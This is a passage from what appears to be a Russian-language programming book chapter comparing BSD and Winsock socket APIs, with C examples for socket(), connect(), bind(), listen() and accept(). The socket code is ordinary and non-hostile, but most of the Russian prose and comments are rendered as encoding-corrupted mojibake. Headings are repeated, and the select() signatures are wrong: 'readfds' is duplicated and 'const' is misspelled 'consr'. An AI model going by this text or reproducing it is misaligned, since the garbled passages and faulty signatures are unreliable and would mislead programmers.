43 #endif

44
45   sd = (int) socket(AF_INET, SOCK_STREAM, 0);

46   /* ïîëó÷èì äîïîëíèòåëüíûå ñâåäåíèÿ îá îøèáêå îò WSAGetLastError() */

47 #ifdef WIN32

48   if(sd == INVALID_SOCKET)

49   {

50     num = WSAGetLastError();

51 #else

52   /* äîïîëíèòåëüíûå ñâåäåíèÿ – ýòî çíà÷åíèå errno */

53   if(sd  < 0)

54   {

55     num = errno;

56 #endif

57     printf("êîä îøèáêè #%d\n", num);

58     return(1);

59   }

60
61   return(0);

62 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 7–43 èíèöèàëèçèðóåòñÿ Winsock, êàê óæå îáúÿñíÿëîñü â ïðè-

ìåðå 7.1.
� Â ñòðîêå 48 çíà÷åíèå, âîçâðàùåííîå ôóíêöèåé socket(), ñðàâíèâàåòñÿ

ñ êîíñòàíòîé INVALID_SOCKET, åñëè ïðîãðàììà êîìïèëèðóåòñÿ íà
ïëàòôîðìå Win32.

� Â ñòðîêå 50 äëÿ ïîëó÷åíèÿ ðàñøèðåííîé èíôîðìàöèè îá îøèáêå âûçû-
âàåòñÿ ôóíêöèÿ WSAGetLastError(), èìåþùàÿñÿ òîëüêî â API Winsock.
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� Â ñòðîêå 53 çíà÷åíèå, âîçâðàùåííîå ôóíêöèåé socket(), ñðàâíèâàåòñÿ
ñ íóëåì, åñëè ïðîãðàììà êîìïèëèðóåòñÿ â UNIX.

� Â ñòðîêå 55 äëÿ ïîëó÷åíèÿ ðàñøèðåííîé èíôîðìàöèè îá îøèáêå ïðî-
âåðÿåòñÿ ãëîáàëüíàÿ ïåðåìåííàÿ errno.

API

API, ïðåäëàãàåìûå ñïåöèôèêàöèÿìè BSD è Winsock, â îñíîâíîì ñîâìåñòèìû.
Íî ìåëêèå ðàçëè÷èÿ, èìåþùèåñÿ â òèïàõ äàííûõ, ñèãíàòóðàõ ôóíêöèé è ñî-
ñòàâå çàãîëîâî÷íûõ ôàéëîâ, ïðåïÿòñòâóþò äîñòèæåíèþ ïîëíîé êðîññ-ïëàò-
ôîðìåííîé ñîâìåñòèìîñòè.

Â ñëåäóþùèõ ðàçäåëàõ ìû ðàññìîòðèì íàèáîëåå ÷àñòî óïîòðåáëÿåìûå
ôóíêöèè, îïèñàâ èõ ñèãíàòóðû, òðåáóåìûå çàãîëîâî÷íûå ôàéëû è òîíêîñòè,
íà êîòîðûå ñëåäóåò îáðàùàòü âíèìàíèå ïðè íàïèñàíèè ïåðåíîñèìîãî êîäà.

Расширения, определенные в Winsock 2.0

Â ñïåöèôèêàöèè Winsock 2.0 îïðåäåëåí ðÿä äîïîëíèòåëüíûõ ôóíêöèé, â òîì
÷èñëå WSASocket, WSAConnect, WSASend è äðóãèå. Îíè íåñîâìåñòèû ñ èíòåð-
ôåéñîì BSD-ñîêåòîâ. Åñëè êîä äîëæåí áûòü ïåðåíîñèìûì, òî ïîëüçîâàòüñÿ
èìè íå ðåêîìåíäóåòñÿ.

Функции read() и write()
Â UNIX ñèñòåìíûå âûçîâû read() è write() ïðèìåíèìû ê äåñêðèïòîðó ñîêåòà è
ïîçâîëÿþò ïîëó÷àòü è îòïðàâëÿòü äàííûå ñîîòâåòñòâåííî. Íà ïëàòôîðìå
Win32 ýòè ôóíêöèè äëÿ ñîêåòîâ íå ðàáîòàþò. Åñëè êîä äîëæåí áûòü ïåðåíî-
ñèìûì, èçáåãàéòå èñïîëüçîâàíèÿ ôóíêöèé read() è write() äëÿ ïîëó÷åíèÿ
è îòïðàâêè äàííûõ ÷åðåç ñîêåò.

Функция socket()
Â UNIX ôóíêöèÿ socket() èìååò ïîêàçàííóþ íèæå ñèãíàòóðó è íóæäàåòñÿ â ñëå-
äóþùèõ çàãîëîâî÷íûõ ôàéëàõ:

#include <sys/types.h>
#include <sys/socket.h>

int socket (int domain, int type, int protocol);

Â Windows äëÿ íåå òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë è ñèãíàòóðà íåñêîëü-
êî èíàÿ:

Подлежащие переносу компоненты
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#include <winsock2.h>

SOCKET socket (int domain, int type, int protocol);

Ôóíêöèÿ socket() âîçâðàùàåò äåñêðèïòîð íîâîãî ñîêåòà. Îíà ïðèíèìàåò
òðè àðãóìåíòà: àäðåñíîå ñåìåéñòâî, òèï ñîêåòà è ïðîòîêîë.

Ïðè ïðîãðàììèðîâàíèè ñòàíäàðòíûõ ñîêåòîâ ïåðâûé àðãóìåíò âñåãäà ðà-
âåí AF_INET. Âòîðîé àðãóìåíò ðàâåí SOCK_DGRAM äëÿ UDP-ñîêåòîâ è
SOCK_STREAM – äëÿ TCP-ñîêåòîâ. Â ñëó÷àå ïðîñòûõ ñîêåòîâ ïåðâûé è âòî-
ðîé àðãóìåíòû äîëæíû áûòü ñîîòâåòñòâåííî AF_INET è SOCK_RAW. Òðåòèé
àðãóìåíò çàâèñèò îò íàçíà÷åíèÿ ñîêåòà. Â BSD è â Winsock ôóíêöèÿ socket()
âîçâðàùàåò çíà÷åíèÿ ðàçíûõ òèïîâ, è ýòè ðàçëè÷èÿ ñëåäóåò ó÷èòûâàòü, ÷òîáû
èçáåæàòü îøèáîê êîìïèëÿöèè (ñì. ðàçäåë «Âîçâðàùàåìûå çíà÷åíèÿ»).
Â ïðèìåðå 7.6 äåìîíñòðèðóåòñÿ ñîçäàíèå ñîêåòà ñ èñïîëüçîâàíèåì äèðåêòèâû
#ifdef äëÿ âêëþ÷åíèÿ ðàçëè÷íûõ çàãîëîâî÷íûõ ôàéëîâ è ïëàòôîðìåííî-çàâè-
ñèìîé îáðàáîòêè âîçâðàùàåìîãî çíà÷åíèÿ.

Пример 7.6. Пример 7.6. Пример 7.6. Пример 7.6. Пример 7.6. Функция socket() (socket1.c)
 1 /*

 2  * socket1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð èñïîëüçîâàíèÿ

 5  * ôóíêöèè socket().

 6  */

 7
 8 #ifdef WIN32

 9
10 /* íåîáõîäèìî äëÿ Winsock */

11 #pragma comment(lib, "ws2_32.lib")

12
13 #include <winsock2.h>

14
15 #else

16
17 /* çàãîëîâî÷íûå ôàéëû äëÿ UNIX */

18 #include <sys/types.h>

19 #include <sys/socket.h>

20
21 #endif

22
23 /* íåîáõîäèìî äëÿ printf() */

24 #include <stdio.h>

25
26 int

27 main(void)
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28 {

29 #ifdef WIN32

30   WSADATA wsa;     /* èñïîëüçóåòñÿ â WSAStartup() */

31   SOCKET  sd = 0;

32 #else

33   int     sd = 0;

34 #endif

35
36 /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

37 #ifdef WIN32

38   memset(&wsa, 0x0, sizeof(WSADATA));

39
40   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

41   {

42     printf("îøèáêà WSAStartup().\n");

43     return(1);

44   }

45 #endif

46
47   /* ñîçäàòü äåñêðèïòîð ñîêåòà */

48   sd = socket(AF_INET, SOCK_STREAM, 0);

49
50 /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

51 #ifdef WIN32

52   if(sd == INVALID_SOCKET)

53 /* èíà÷å ñðàâíèòü ñ -1 */

54 #else

55   if(sd  < 0)

56 #endif

57   {

58     printf("îøèáêà socket().\n");

59     return(1);

60   }

61
62   printf("äåñêðèïòîð ñîêåòà ñîçäàí.\n");

63
64   return(0);

65 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 48 ôóíêöèÿ socket() âîçâðàùàåò äåñêðèïòîð íîâîãî ñîêåòà.
� Â ñòðîêàõ 51–52 âîçâðàùåííîå çíà÷åíèå ñðàâíèâàåòñÿ ñ êîíñòàíòîé

INVALID_SOCKET, åñëè ïðîãðàììà êîìïèëèðóåòñÿ íà ïëàòôîðìå
Win32.

� Â ñòðîêàõ 54-55 âîçâðàùåííîå çíà÷åíèå ñðàâíèâàåòñÿ ñ íóëåì, åñëè
ïðîãðàììà êîìïèëèðóåòñÿ â UNIX.
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Функция connect()
Â UNIX ôóíêöèÿ connect() èìååò ïîêàçàííóþ íèæå ñèãíàòóðó è íóæäàåòñÿ

â ñëåäóþùèõ çàãîëîâî÷íûõ ôàéëàõ:

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int connect (int s, const struct sockaddr *name, int namelen);

Â Windows äëÿ íåå òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë è ñèãíàòóðà íåñêîëü-
êî èíàÿ:

#include <winsock2.h>

int connect (SOCKET s, const struct sockaddr FAR *name, int namelen);

Ôóíêöèÿ connect() ïðèìåíÿåòñÿ äëÿ óñòàíîâëåíèÿ ñîåäèíåíèÿ (â ñëó÷àå
ïðîòîêîëà TCP) èëè äëÿ çàïîìèíàíèÿ àäðåñà óäàëåííîé îêîíå÷íîé òî÷êè ñî-
êåòà (â ñëó÷àå UDP). Îíà ïðèíèìàåò òðè àðãóìåíòà: äåñêðèïòîð ñîêåòà, óêàçà-
òåëü íà ñòðóêòóðó sockaddr, îïðåäåëÿþùóþ óäàëåííóþ îêîíå÷íóþ òî÷êó,
è äëèíó ñòðóêòóðû sockaddr.

Èíòåðôåéñû ôóíêöèè connect() â BSD è Winsock ñîâìåñòèìû, åñëè íå ñ÷è-
òàòü ñåìàíòèêè âîçâðàùàåìîãî çíà÷åíèÿ.

Â ïðèìåðå 7.7 äåìîíñòðèðóåòñÿ ïðèìåíåíèå ôóíêöèè connect() äëÿ óñòà-
íîâëåíèÿ ñîåäèíåíèÿ ñ óäàëåííûì õîñòîì.

Пример 7.7. Пример 7.7. Пример 7.7. Пример 7.7. Пример 7.7. Функция connect() (connect1.c)
 1 /*

 2  * connect1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð èñïîëüçîâàíèÿ

 5  * ôóíêöèè connect().

 6  */

 7
 8 #ifdef WIN32

 9
10 /* íåîáõîäèìî äëÿ winsock */

11 #pragma comment(lib, "ws2_32.lib")

12
13 #include <winsock2.h>

14
15 #else

16
17 /* çàãîëîâî÷íûå ôàéëû äëÿ UNIX */
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18 #include <sys/types.h>

19 #include <sys/socket.h>

20 #include <netinet/in.h>

21
22 #endif

23
24 #include <stdio.h>

25
26 /* IP–àäðåñ è ïîðò, ñ êîòîðûìè íàäî ñîåäèíèòüñÿ */

27 #define TARGET_ADDR  "127.0.0.1"

28 #define TARGET_PORT  135

29
30 int

31 main(void)

32 {

33 #ifdef WIN32

34   WSADATA wsa;     /* èñïîëüçóåòñÿ â WSAStartup() */

35   SOCKET  sd = 0;

36 #else

37   int     sd = 0;

38 #endif

39
40   struct sockaddr_in sin ;

41   int                ret = 0;

42
43 /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

44 #ifdef WIN32

45   memset(&wsa, 0x0, sizeof(WSADATA));

46
47   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

48   {

49     printf("îøèáêà WSAStartup().\n");

50     return(1);

51   }

52 #endif

53
54   /* ñîçäàòü TCP-ñîêåò */

55   sd = socket(AF_INET, SOCK_STREAM, 0);

56   /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

57 #ifdef WIN32

58   if(sd == INVALID_SOCKET)

59   /* èíà÷å ñðàâíèòü ñ -1 */

60 #else

61   if(sd  < 0)

62 #endif

63   {

64     printf("îøèáêà socket().\n");

65     return(1);

66   }
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67
68   printf("äåñêðèïòîð ñîêåòà ñîçäàí.\n");

69
70   /* ñîåäèíèòü ñîêåò ñ óäàëåííûì õîñòîì è ïîðòîì */

71   memset(&sin, 0x0, sizeof(sin));

72
73   sin.sin_family      = AF_INET;

74
75   /* ïîðò ïîëó÷àòåëÿ */

76   sin.sin_port        = htons(TARGET_PORT);

77
78   /* IP-àäðåñ ïîëó÷àòåëÿ */

79   sin.sin_addr.s_addr = inet_addr(TARGET_ADDR);

80
81   ret = connect(sd, (struct sockaddr *) &sin, sizeof(sin));

82   /* â Win32 ñðàâíèòü ñ êîíñòàíòîé SOCKET_ERROR */

83 #ifdef WIN32

84   if(ret == SOCKET_ERROR)

85   /* èíà÷å ñðàâíèòü ñ -1 */

86 #else

87   if(ret  < 0)

88 #endif

89   {

90     printf("îøèáêà connect().\n");

91     return(1);

92   }

93
94   return(0);

95 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 70–81 ïðîèçâîäèòñÿ èíèöèàëèçàöèÿ ïåðåìåííûõ è âûçîâ

ôóíêöèè connect().
� Â ñòðîêàõ 83–87 âîçâðàùåííîå åé çíà÷åíèå àíàëèçèðóåòñÿ â çàâèñèìî-

ñòè îò ïëàòôîðìû ïðèìåðíî òàê æå, êàê â ïðèìåðå 7.6. Îòìåòèì, îä-
íàêî, ÷òî â Windows âñå ôóíêöèè, êðîìå socket(), âîçâðàùàþò â ñëó÷àå
îøèáêè çíà÷åíèå SOCKET_ERROR.

Функция bind()
Â UNIX ôóíêöèÿ bind() èìååò ïîêàçàííóþ íèæå ñèãíàòóðó è íóæäàåòñÿ â ñëå-
äóþùèõ çàãîëîâî÷íûõ ôàéëàõ:

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
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int bind (int s, const struct sockaddr *name, int namelen);

Â Windows äëÿ íåå òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë è ñèãíàòóðà íåñêîëü-
êî èíàÿ:

#include <winsock2.h>

int bind (SOCKET s, const struct sockaddr FAR *name, int namelen);

Ôóíêöèÿ bind() ïðèìåíÿåòñÿ äëÿ îïðåäåëåíèÿ ëîêàëüíîé îêîíå÷íîé òî÷êè
ñîêåòà. Îáû÷íî îíà áûâàåò íóæíà äëÿ ïðîñëóøèâàþùèõ, òî åñòü ñåðâåðíûõ
ñîêåòîâ, à òàêæå äëÿ ïðîñòûõ ñîêåòîâ, ÷åðåç êîòîðûå ïðèíèìàåòñÿ íèçêî-
óðîâíåâûé Èíòåðíåò-òðàôèê. Ôóíêöèÿ ïðèíèìàåò òðè àðãóìåíòà: äåñêðèï-
òîð ñîêåòà, óêàçàòåëü íà ñòðóêòóðó sockaddr, â êîòîðîé îïðåäåëåí ëîêàëüíûé
àäðåñ, è äëèíó ýòîé ñòðóêòóðû.

Èíòåðôåéñû ôóíêöèè bind() â BSD è Winsock ñîâìåñòèìû, åñëè íå ñ÷èòàòü
ñåìàíòèêè âîçâðàùàåìîãî çíà÷åíèÿ.

Â ïðèìåðå 7.8 äåìîíñòðèðóåòñÿ ïðèìåíåíèå ôóíêöèè bind() äëÿ ïðèâÿçû-
âàíèÿ ñîêåòà êî âñåì ëîêàëüíûì àäðåñàì.

Пример 7.8. Пример 7.8. Пример 7.8. Пример 7.8. Пример 7.8. Функция bind() (bind1.c)
 1 /*

 2  * bind1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð èñïîëüçîâàíèÿ

 5  * ôóíêöèè bind().

 6  */

 7
 8 #ifdef WIN32

 9
10 /* íåîáõîäèìî äëÿ winsock */

11 #pragma comment(lib, "ws2_32.lib")

12
13 #include <winsock2.h>

14
15 #else

16
17 /* çàãîëîâî÷íûå ôàéëû äëÿ UNIX */

18 #include <sys/types.h>

19 #include <sys/socket.h>

20 #include <netinet/in.h>

21
22 #endif

23
24 #include <stdio.h>

25
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26 /* ëîêàëüíûé ïîðò, ê êîòîðîìó ïðèâÿçûâàòü ñîêåò */

27 #define LOCAL_PORT 1234

28
29 int

30 main(void)

31 {

32 #ifdef WIN32

33   WSADATA wsa;     /* èñïîëüçóåòñÿ â WSAStartup() */

34   SOCKET  sd = 0;

35 #else

36   int     sd = 0;

37 #endif

38
39   struct sockaddr_in sin ;

40   int                ret = 0;

41
42 /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

43 #ifdef WIN32

44   memset(&wsa, 0x0, sizeof(WSADATA));

45
46   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

47   {

48     printf("îøèáêà WSAStartup().\n");

49     return(1);

50   }

51 #endif

52
53   /* ñîçäàòü UDP-ñîêåò */

54   sd = socket(AF_INET, SOCK_DGRAM, 0);

55 /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

56 #ifdef WIN32

57   if(sd == INVALID_SOCKET)

58 /* èíà÷å ñðàâíèòü ñ -1 */

59 #else

60   if(sd  < 0)

61 #endif

62   {

63     printf("îøèáêà socket().\n");

64     return(1);

65   }

66
67   printf("äåñêðèïòîð ñîêåòà ñîçäàí.\n");

68
69   /* ïðèâÿçàòü ñîêåò ê ëîêàëüíîìó ïîðòó */

70
71   memset(&sin, 0x0, sizeof(sin));

72
73   sin.sin_family        = AF_INET;

74



351

75   /* çàäàòü íîìåð ïîðòà */

76   sin.sin_port          = htons(LOCAL_PORT);

77
78   /* ïðèíèìàòü ñîåäèíåíèÿ ñ ëþáîãî èíòåðôåéñà/àäðåñà */

79   sin.sin_addr.s_addr   = INADDR_ANY;

80
81   /* ïðèâÿçàòü ñîêåò */

82   ret = bind(sd, (struct sockaddr *) &sin, sizeof(sin));

83 #ifdef WIN32

84   if(ret == SOCKET_ERROR)

85 #else

86   if(ret < 0)

87 #endif

88   {

89     printf("îøèáêà bind().\n");

90     return(1);

91   }

92
93   return(0);

94 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 71–82 ïðîèçâîäèòñÿ èíèöèàëèçàöèÿ ïåðåìåííûõ è âûçîâ

ôóíêöèè bind().
� Â ñòðîêàõ 83–86 âîçâðàùåííîå åé çíà÷åíèå àíàëèçèðóåòñÿ òàê æå, êàê

â ñëó÷àå connect() â ïðèìåðå 7.7.

Функция listen()
Â UNIX ôóíêöèÿ l isten() èìååò ïîêàçàííóþ íèæå  ñèãíàòóðó è íóæäàåòñÿ â ñëå-
äóþùèõ çàãîëîâî÷íûõ ôàéëàõ:

#include <sys/types.h>
#include <sys/socket.h>

int listen (int s, int backlog);

Â Windows äëÿ íåå òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë, à ñèãíàòóðà òî÷íî
òàêàÿ æå:

#include <winsock2.h>

int listen (int s, int backlog);

Ôóíêöèÿ l isten() ïðèìåíÿåòñÿ äëÿ ïåðåâîäà óæå  ïðèâÿçàííîãî  ñîêåòà â ðå-
æèì ïðîñëóøèâàíèÿ, ïðè ýòîì çàäàåòñÿ ìàêñèìàëüíûé ðàçìåð î÷åðåäè âõî-
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äÿùèõ ñîåäèíåíèé. Îáû÷íî îíà èñïîëüçóåòñÿ äëÿ ñîêåòîâ òèïà SOCK_STREAM
ïåðåä âûçîâîì ôóíêöèè accept().

Ôóíêöèÿ l isten() ïðèíèìàåò äâà àðãóìåíòà: äåñêðèïòîð ñîêåòà è ÷èñëî  âõî-
äÿùèõ ñîåäèíåíèé â î÷åðåäè. Åñëè î÷åðåäü ïåðåïîëíèòñÿ, çàïðîñû íà íîâûå
ñîåäèíåíèÿ áóäóò îòâåðãíóòû. Èíòåðôåéñû ôóíêöèè l isten() â BSD è Winsock
ñîâìåñòèìû, åñëè íå ñ÷èòàòü ñåìàíòèêè âîçâðàùàåìîãî çíà÷åíèÿ.

Â ïðèìåðå  7.9 äåìîíñòðèðóåòñÿ ïðèìåíåíèå  ôóíêöèè l isten().

Пример 7.9. Пример 7.9. Пример 7.9. Пример 7.9. Пример 7.9. Функция listen() (listen1.c)
 1 /*

 2  * listen1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð èñïîëüçîâàíèÿ

 5  * ôóíêöèè listen().

 6  */

 7
 8 #ifdef WIN32

 9
10 /* íåîáõîäèìî äëÿ Winsock */

11 #pragma comment(lib, "ws2_32.lib")

12
13 #include <winsock2.h>

14
15 #else

16
17 /* çàãîëîâî÷íûå ôàéëû äëÿ UNIX */

18 #include <sys/types.h>

19 #include <sys/socket.h>

20 #include <netinet/in.h>

21
22 #endif

23
24 #include <stdio.h>

25
26 /* ëîêàëüíûé ïîðò, ê êîòîðîìó ïðèâÿçûâàòü ñîêåò */

27 #define LOCAL_PORT  1234

28 #define BACKLOG     10

29
30 int

31 main(void)

32 {

33 #ifdef WIN32

34   WSADATA wsa;   /* èñïîëüçóåòñÿ â WSAStartup() */

35   SOCKET  sd = 0;

36 #else

37   int     sd = 0;

38 #endif
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39
40   struct sockaddr_in sin ;

41   int                ret = 0;

42
43   /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

44 #ifdef WIN32

45   memset(&wsa, 0x0, sizeof(WSADATA));

46
47   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

48   {

49     printf("îøèáêà WSAStartup().\n");

50     return(1);

51   }

52 #endif

53
54   /* ñîçäàòü TCP-ñîêåò */

55   sd = socket(AF_INET, SOCK_STREAM, 0);

56   /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

57 #ifdef WIN32

58   if(sd == INVALID_SOCKET)

59   /* èíà÷å ñðàâíèòü ñ -1 */

60 #else

61   if(sd  < 0)

62 #endif

63   {

64     printf("îøèáêà socket().\n");

65     return(1);

66   }

67
68   printf("äåñêðèïòîð ñîêåòà ñîçäàí.\n");

69
70   /* ïðèâÿçàòü ñîêåò ê ëîêàëüíîìó ïîðòó */

71
72   memset(&sin, 0x0, sizeof(sin));

73
74   sin.sin_family      = AF_INET;

75
76   /* çàäàòü íîìåð ïîðòà */

77   sin.sin_port        = htons(LOCAL_PORT);

78
79   /* ïðèíèìàòü ñîåäèíåíèÿ ñ ëþáîãî èíòåðôåéñà/àäðåñà */

80   sin.sin_addr.s_addr = INADDR_ANY;

81
82   /* ïðèâÿçàòü ñîêåò */

83   ret = bind(sd, (struct sockaddr *) &sin, sizeof(sin));

84 #ifdef WIN32

85   if(ret == SOCKET_ERROR)

86 #else

87   if(ret  < 0)
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 88 #endif
 89   {

 90     printf("îøèáêà bind().\n");
 91     return(1);

 92   }
 93
 94   printf("ñîêåò ïðèâÿçàí!\n");
 95
 96   /* ïåðåâåñòè ñîêåò â ðåæèì ïðîñëóøèâàíèÿ ñ ïîìîùüþ listen(),
 97      çàäàâ ðàçìåð î÷åðåäè ñîåäèíåíèé (BACKLOG) */

 98   ret = listen(sd, BACKLOG);
 99 #ifdef WIN32

100   if(ret == SOCKET_ERROR)
101 #else

102   if(ret  < 0)
103 #endif

104   {
105     printf("îøèáêà listen().\n");

106     return(1);
107   }

108
109   printf("listen() âûïîëíèëàñü óñïåøíî!\n");

110
111   return(0);

112 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå  98 âûçûâàåòñÿ ôóíêöèÿ l isten().
� Â ñòðîêàõ 99–102 âîçâðàùåííîå åé çíà÷åíèå àíàëèçèðóåòñÿ òàê æå, êàê

â ñëó÷àå connect() â ïðèìåðå 7.7.

Функция accept()
Â UNIX ôóíêöèÿ accept() èìååò ïîêàçàííóþ íèæå ñèãíàòóðó è íóæäàåòñÿ
â ñëåäóþùèõ çàãîëîâî÷íûõ ôàéëàõ:

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int accept(int s, struct sockaddr *addr, int *addrlen);

Â Windows äëÿ íåå òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë, à ñèãíàòóðà íåñêîëü-
êî èíàÿ:

#include <winsock2.h>

int accept(SOCKET s, struct sockaddr FAR *addr, int FAR *addrlen);
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Ôóíêöèÿ accept() ïðèìåíÿåòñÿ äëÿ ïðèåìà çàïðîñà íà ñîåäèíåíèå ñ óæå ïðè-
âÿçàííûì è íàõîäÿùèìñÿ â ðåæèìå ïðîñëóøèâàíèÿ ñîêåòîì. Îíà ïðèíèìàåò
òðè àðãóìåíòà: äåñêðèïòîð ñîêåòà, óêàçàòåëü íà ñòðóêòóðó sockaddr, â êîòîðóþ
áóäåò ïîìåùåí àäðåñ óäàëåííîãî êëèåíòà, çàïðîñèâøåãî ñîåäèíåíèå, è óêà-
çàòåëü íà äëèíó ýòîé ñòðóêòóðû.

Èíòåðôåéñû ôóíêöèè accept() â BSD è Winsock ñîâìåñòèìû, åñëè íå ñ÷è-
òàòü ñåìàíòèêè âîçâðàùàåìîãî çíà÷åíèÿ.

Â ïðèìåðå 7.10 äåìîíñòðèðóåòñÿ ïðèìåíåíèå ôóíêöèè accept() äëÿ ïðèåìà
íîâîãî TCP-ñîåäèíåíèÿ.

Пример 7.10. Пример 7.10. Пример 7.10. Пример 7.10. Пример 7.10. Функция accept() (accept1.c)
 1 /*

 2  * accept1.c

 3  *

 4  * êðîññ-ïëàòôîðìåííûé ïðèìåð èñïîëüçîâàíèÿ

 5  * ôóíêöèè accept().

 6  */

 7
 8 #ifdef WIN32

 9
10 /* íåîáõîäèìî äëÿ Winsock */

11 #pragma comment(lib, "ws2_32.lib")

12
13 #include <winsock2.h>

14
15 #else

16
17 /* çàãîëîâî÷íûå ôàéëû äëÿ UNIX */

18 #include <sys/types.h>

19 #include <sys/socket.h>

20 #include <netinet/in.h>

21
22 #endif

23
24 #include <stdio.h>

25
26 /* ëîêàëüíûé ïîðò, ê êîòîðîìó ïðèâÿçûâàòü ñîêåò */

27 #define LOCAL_PORT  1234

28 #define BACKLOG     10

29
30 int

31 main(void)

32 {

33 #ifdef WIN32

34   WSADATA wsa;         /* èñïîëüçóåòñÿ â WSAStartup() */

35   SOCKET  sd = 0;

36   SOCKET  cl = 0;      /* êëèåíòñêèé ñîêåò */
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37 #else

38   int     sd = 0;

39   int     cl = 0;      /* êëèåíòñêèé ñîêåò */

40 #endif

41
42   struct sockaddr_in sin ;

43   int                len = sizeof(sin); /* òðåáóåòñÿ äëÿ accept() */

44   int                ret = 0;

45
46   /* íà ïëàòôîðìå Win32 íóæíî èíèöèàëèçèðîâàòü Winsock */

47 #ifdef WIN32

48   memset(&wsa, 0x0, sizeof(WSADATA));

49
50   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

51   {

52     printf("îøèáêà WSAStartup().\n");

53     return(1);

54   }

55 #endif

56
57   /* ñîçäàòü TCP-ñîêåò */

58   sd = socket(AF_INET, SOCK_STREAM, 0);

59   /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

60 #ifdef WIN32

61 if(sd == INVALID_SOCKET)

62   /* èíà÷å ñðàâíèòü ñ -1 */

63 #else

64   if(sd  < 0)

65 #endif

66   {

67     printf("îøèáêà socket().\n");

68     return(1);

69   }

70
71   printf("äåñêðèïòîð ñîêåòà ñîçäàí.\n");

72
73   /* ïðèâÿçàòü ñîêåò ê ëîêàëüíîìó ïîðòó */

74
75   memset(&sin, 0x0, sizeof(sin));

76
77   sin.sin_family      = AF_INET;

78
79   /* çàäàòü íîìåð ïîðòà */

80   sin.sin_port        = htons(LOCAL_PORT);

81
82   /* ïðèíèìàòü ñîåäèíåíèÿ ñ ëþáîãî èíòåðôåéñà */

83   sin.sin_addr.s_addr = INADDR_ANY;

84
85   /* ïðèâÿçàòü ñîêåò */
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 86   ret = bind(sd, (struct sockaddr *) &sin, sizeof(sin));

 87 #ifdef WIN32

 88   if(ret == SOCKET_ERROR)

 89 #else

 90   if(ret  < 0)

 91 #endif

 92   {

 93     printf("îøèáêà bind().\n");

 94     return(1);

 95   }

 96
 97   printf("ñîêåò ïðèâÿçàí!\n");

 98
 99   /* ïåðåâåñòè ñîêåò â ðåæèì ïðîñëóøèâàíèÿ */

100   ret = listen(sd, BACKLOG);

101 #ifdef WIN32

102   if(ret == SOCKET_ERROR)

103 #else

104   if(ret  < 0)

105 #endif

106   {

107     printf("îøèáêà listen().\n");

108     return(1);

109   }

110
111   printf("listen() âûïîëíèëàñü óñïåøíî!\n");

112
113   cl = accept(sd, (struct sockaddr *) &sin, &len);

114 #ifdef WIN32

115   if(cl == SOCKET_ERROR)

116 #else

117   if(cl  < 0)

118 #endif

119   {

120     printf("îøèáêà accept().\n");

121     return(1);

122   }

123
124   printf("ñîåäèíåíèå ïðèíÿòî.\n");

125
126   return(0);

127 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 113 âûçûâàåòñÿ ôóíêöèÿ accept().
� Â ñòðîêàõ 114–117 âîçâðàùåííîå åé çíà÷åíèå àíàëèçèðóåòñÿ òàê æå,

êàê â ñëó÷àå connect() â ïðèìåðå 7.7.
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Функция select()
Â UNIX ôóíêöèÿ select() èìååò ïîêàçàííóþ íèæå ñèãíàòóðó è íóæäàåòñÿ â ñëå-
äóþùèõ çàãîëîâî÷íûõ ôàéëàõ:

#include <sys/types.h>
#include <sys/socket.h>

int select(int nfds,
           fd_set *readfds,
           fd_set *readfds,
           fd_set *exceptfds,
           consr struct timeval *timeout);

Â Windows äëÿ íåå òðåáóåòñÿ îäèí çàãîëîâî÷íûé ôàéë, à ñèãíàòóðà íåñêîëü-
êî èíàÿ:

#include <winsock2.h>

int select(int nfds,
           fd_set FAR *readfds,
           fd_set FAR *readfds,
           fd_set FAR *exceptfds,
           consr struct timeval *timeout);

Ôóíêöèÿ select() ïðèìåíÿåòñÿ äëÿ ìîíèòîðèíãà ñîñòîÿíèÿ íåñêîëüêèõ äåñ-
êðèïòîðîâ ñîêåòîâ. Îíà ïðèíèìàåò ïÿòü àðãóìåíòîâ:

� nfdsnfdsnfdsnfdsnfds – çíà÷åíèå ñàìîãî áîëüøîãî äåñêðèïòîðà èç ÷èñëà îòñëåæèâàå-
ìûõ ïëþñ 1;

